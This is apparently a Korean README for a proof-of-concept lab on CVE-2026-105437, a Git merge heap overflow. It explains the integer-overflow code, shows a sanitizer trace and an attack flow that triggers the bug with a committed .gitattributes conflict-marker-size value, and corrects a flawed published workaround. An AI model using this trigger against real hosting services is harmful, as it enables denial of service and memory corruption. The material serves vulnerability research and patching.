
CVE-2026-105437에 대한 PoC 및 실습 환경으로, Git의 xdiff 3-way 병합에서 발생하는 32비트 정수 오버플로로 인해 git merge-tree와 conflict-marker-size를 통해 힙 버퍼 오버플로가 발생하는 취약점입니다.
| CVE | CVE-2026-105437 |
| 구성 요소 | Git — 3-way merge 메커니즘, xdiff/xmerge.c (xdl_fill_merge_buffer()) |
| 영향 받는 버전 | Git ≤ 2.56.0 (및 2.50 – 2.55 계열) |
| 수정된 버전 | Git 2.56.1, 및 2.50.2 / 2.51.3 / 2.52.1 / 2.53.1 / 2.54.1 / 2.55.1 |
| CWE | CWE-190 (정수 오버플로)로 인한 CWE-787 (범위 밖 쓰기) |
| 영향 | 공격자가 제어하는 콘텐츠를 병합하는 동안 발생하는 힙 버퍼 오버플로 (범위 밖 쓰기) |
| 벡터 | git merge-tree --write-tree, 즉 머지 리퀘스트의 병합 가능성 검사 |
| 트리거 | conflict-marker-size=<huge>를 포함한 커밋된 .gitattributes와 다수의 충돌을 발생시키는 병합 |
저장소에 브랜치를 푸시하고 머지 리퀘스트를 열 수 있는 모든 사용자가
호스팅 서비스의 병합 메커니즘을 크래시시킬 수 있습니다. Git은
32비트 int에서 병합 출력 버퍼의 크기를 계산합니다. 충돌이 충분히 많고
conflict-marker-size 속성이 크면 누산기가 랩어라운드되고, malloc()은
훨씬 작은 버퍼를 반환하며, 병합 결과는 그 버퍼의 끝을 넘어 기록됩니다.
이 CVE를 할당한 GitLab은 git merge-tree을 주요
공격 표면으로 지목했습니다. 호스팅 서버는 머지 리퀘스트의 병합 가능 여부를 판단하기 위해 이를 실행합니다.
사용자는 .gitattributes 파일을 커밋하고 브랜치를 푸시하기만 하면 됩니다.
오버플로 자체 외에도, 이 저장소는 GitLab이 권고문과 함께 공개한
완화 조치의 결함을 문서화합니다. info/attributes
워크어라운드는 작성된 대로 작동하지 않으며 서비스를 노출된 상태로 남겨둡니다.
병합 결과를 쓰기 전에 Git은 출력 버퍼가 얼마나 커야 하는지
계산합니다. xdiff/xmerge.c (Git 2.56.0)에서:
static int fill_conflict_hunk(..., int size, ..., int marker_size)
{
...
if (!dest) {
size += marker_size + 1 + needs_cr + marker1_size; /* (1) */
} else {
memset(dest + size, '<', marker_size);
size += marker_size;
...
}
...
if (!dest) {
size += marker_size + 1 + needs_cr; /* (2) */
} else {
memset(dest + size, '=', marker_size);
...
}
...
if (!dest) {
size += marker_size + 1 + needs_cr + marker2_size; /* (3) */
} else {
memset(dest + size, '>', marker_size);
...
}
return size;
}
static int xdl_fill_merge_buffer(..., int marker_size)
{
int size, i; /* <-- 32-bit accumulator */
for (size = i = 0; m; m = m->next) {
...
size = fill_conflict_hunk(..., size, ..., marker_size);
}
...
}
정확히 그 바이트 수만큼 할당합니다:
/* xdl_do_merge() */
int size = xdl_fill_merge_buffer(xe1, name1, xe2, name2,
ancestor_name, favor, changes, NULL, style,
marker_size);
result->ptr = xdl_malloc(size);
...
/* second pass: write into the buffer */
xdl_fill_merge_buffer(xe1, name1, xe2, name2, ancestor_name, favor, changes,
result->ptr, style, marker_size);
누산기는 int(32비트)이며, 문제가 되는 가수들은 다음과 같다.
marker_size 바이트, 그리고<<<<<<<, =======, >>>>>>>).marker_size는 conflict-marker-size git attribute에서 오며, 저장소의 .gitattributes에서 바로 읽어들인다
(merge-ll.c:ll_merge_marker_size() → strtol_i()를 int으로 변환하며, INT_MAX 외에는
상한이 없다).
N개의 충돌 헝크와 마커 크기 M일 때 총합은 대략
3 * N * M 바이트이다. 이것이 INT_MAX을 초과하면 누산기가 래핑된다.
malloc()가 거대한 size_t를 받아,
할당이 실패하고 Git이 잘못된 out-of-memory 오류를 보고한다.malloc()이 훨씬
너무 작은 버퍼로 성공하고, 쓰기 단계가 할당 끝을 넘어 진행된다 → 힙 버퍼 오버플로.업스트림 수정(Git 2.56.1)은 누산기와 모든 가수를
size_t로 변환하고 검사 연산(st_add(), st_add5())을 사용한다.
288266c11d91 xdiff: use size_t for merge buffer size computations
b1313872cefe xdiff: check for overflow when computing merge buffer size
0dc3b5c0224b git-compat-util: add st_add5() helper to detect size_t overflow
==1386014==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7b85df1fe9fb
WRITE of size 3495254 at 0x7b85df1fe9fb thread T0
#0 memset
#1 fill_conflict_hunk xdiff/xmerge.c:269
#2 xdl_fill_merge_buffer xdiff/xmerge.c:297
#3 xdl_do_merge xdiff/xmerge.c:671
#4 xdl_merge xdiff/xmerge.c:726
#5 ll_xdl_merge merge-ll.c:144
#6 ll_merge merge-ll.c:448
#7 merge_3way merge-ort.c:2161
#8 handle_content_merge merge-ort.c:2260
#9 process_entry merge-ort.c:4345
#10 process_entries merge-ort.c:4566
#11 merge_ort_nonrecursive_internal merge-ort.c:5288
#12 merge_ort_internal merge-ort.c:5390
#13 merge_incore_recursive merge-ort.c:5449
#14 real_merge builtin/merge-tree.c:490
#15 cmd_merge_tree builtin/merge-tree.c:696
0x7b85df1fe9fb is located 0 bytes to the right of 109108118-byte region
SUMMARY: AddressSanitizer: heap-buffer-overflow xdiff/xmerge.c:269 in fill_conflict_hunk
GitLab의 권고문은 git merge-tree을 주요 벡터로 지목합니다:
"CVE-2026-105437을 할당한 GitLab은 코드 호스팅 서버가 git merge-tree를 통해 표적이 될 가능성이 가장 높다고 밝혔습니다. 서버는 풀 또는 병합 요청이 병합 가능한지 확인하기 위해 해당 명령을 실행할 수 있습니다."
그리고:
"conflict-marker-size 속성은 저장소에 커밋된 .gitattributes 파일에서 설정할 수 있습니다. 서버가 저장소에서 속성을 읽는 경우, 브랜치를 푸시하고 풀 또는 병합 요청을 열 수 있는 모든 사용자가 이 결함을 트리거할 수 있습니다."
흐름:
attacker (any user who can push) hosting service (Gitaly)
───────────────────────────────────────── ────────────────────────────────
1. commit .gitattributes: 4. merge request opened /
big.txt conflict-marker-size=3495254 mergeability check
2. push main / feature/ours / feature/theirs 5. git merge-tree --write-tree \
3. open a merge request feature/ours feature/theirs
6. GIT_ATTR_SOURCE points at the
repository tree, so the
committed .gitattributes is
honoured
7. *** heap buffer overflow ***
GIT_ATTR_SOURCE는 베어 저장소를 대상으로 실행되는 서버가 Git으로 하여금 작업 트리 대신 저장소 트리에서 .gitattributes을 읽도록 만드는 방식입니다. Gitaly가 바로 이렇게 동작합니다.
GitLab의 보안 권고문에는 다음과 같이 적혀 있습니다:
"이 결함에 대한 우회 방법으로, 아직 업그레이드할 수 없는 서버는 각 저장소의
info/attributes파일에conflict-marker-size=7를 추가하거나, 신뢰할 수 없는 저장소에 대해 해당 병합 검사를 끌 수 있습니다."
이 우회 방법은 크래시를 막지 못합니다. Git 2.56.0을 기준으로 측정한 결과:
info/attributes 내용 | 결과 |
|---|---|
conflict-marker-size=7 (공개된 그대로) | 여전히 크래시 발생 (SIGSEGV) |
big.txt conflict-marker-size=7 (경로별 형식) | 차단됨, 병합 완료 |
그 이유는 Git이 경로 패턴이 없는 속성 줄을 파싱하는 방식에 있습니다. attr.c:parse_attr_line()에서는 첫 번째 공백 앞의 텍스트가 속성 이름으로 간주되므로, 다음 줄은
conflict-marker-size=7
conflict-marker-size=7라는 이름의 속성으로 파싱됩니다. 즉, 줄 전체가
패턴이 되어 어떤 경로와도 일치하지 않게 됩니다:
$ git check-attr conflict-marker-size -- big.txt
big.txt: conflict-marker-size: unspecified # no path pattern -> no match
$ git check-attr conflict-marker-size -- big.txt # with a "big.txt " prefix
big.txt: conflict-marker-size: 7
gitattributes 줄은 일치하는 경로에만 적용되므로, 완화 조치는 해당 경로를 지정해야 합니다(또는 glob을 사용해야 합니다):
echo '* conflict-marker-size=7' > $GIT_DIR/info/attributes
업스트림의 회귀 테스트(t/t4300-merge-tree.sh)는 info/attributes 경로를 다루지 않으므로, 그곳에서도 이 격차는 잡히지 않는다.
Podman 네트워크 cve105437lab; 모든 컨테이너는 제한되어 있다(--cpus 2 --memory 4g).
| 컨테이너 | 역할 |
|---|---|
gitlab-vuln | Git 2.56.0, 일반 + AddressSanitizer 빌드 (취약) |
gitlab-fixed | Git 2.56.1, 일반 + AddressSanitizer 빌드 (대조군) |
| poc 러너 (임시) | Python + git; 페이로드를 푸시하고 랩 네트워크를 통해 병합 검사를 구동한다 |
두 서버는 동일한 이미지를 실행하며 실행하는 Git 바이너리만 다르다(GIT_BIN / GIT_ASAN). 따라서 취약한 쪽과 수정된 쪽은 Git 자체를 제외하면 바이트 단위로 동일하다. 이미지는 또한 두 Git 소스 트리를 모두 포함하며, 0day 스윕이 이에 링크된다.
서비스 측은 호스팅 서비스가 수행하는 병합 가능성 검사를 구현한다. git daemon이 푸시를 수락하고, HTTP 엔드포인트가 GIT_ATTR_SOURCE을 대상 브랜치 트리로 설정한 상태에서 git merge-tree --write-tree <ours> <theirs>를 실행하므로, 저장소 자체의 .gitattributes이 준수된다. Git 호출은 자식 프로세스로 실행되므로, 서비스가 중단되는 대신 크래시가 관찰된다 — 정확히 Gitaly가 Git을 exec하는 방식과 같다.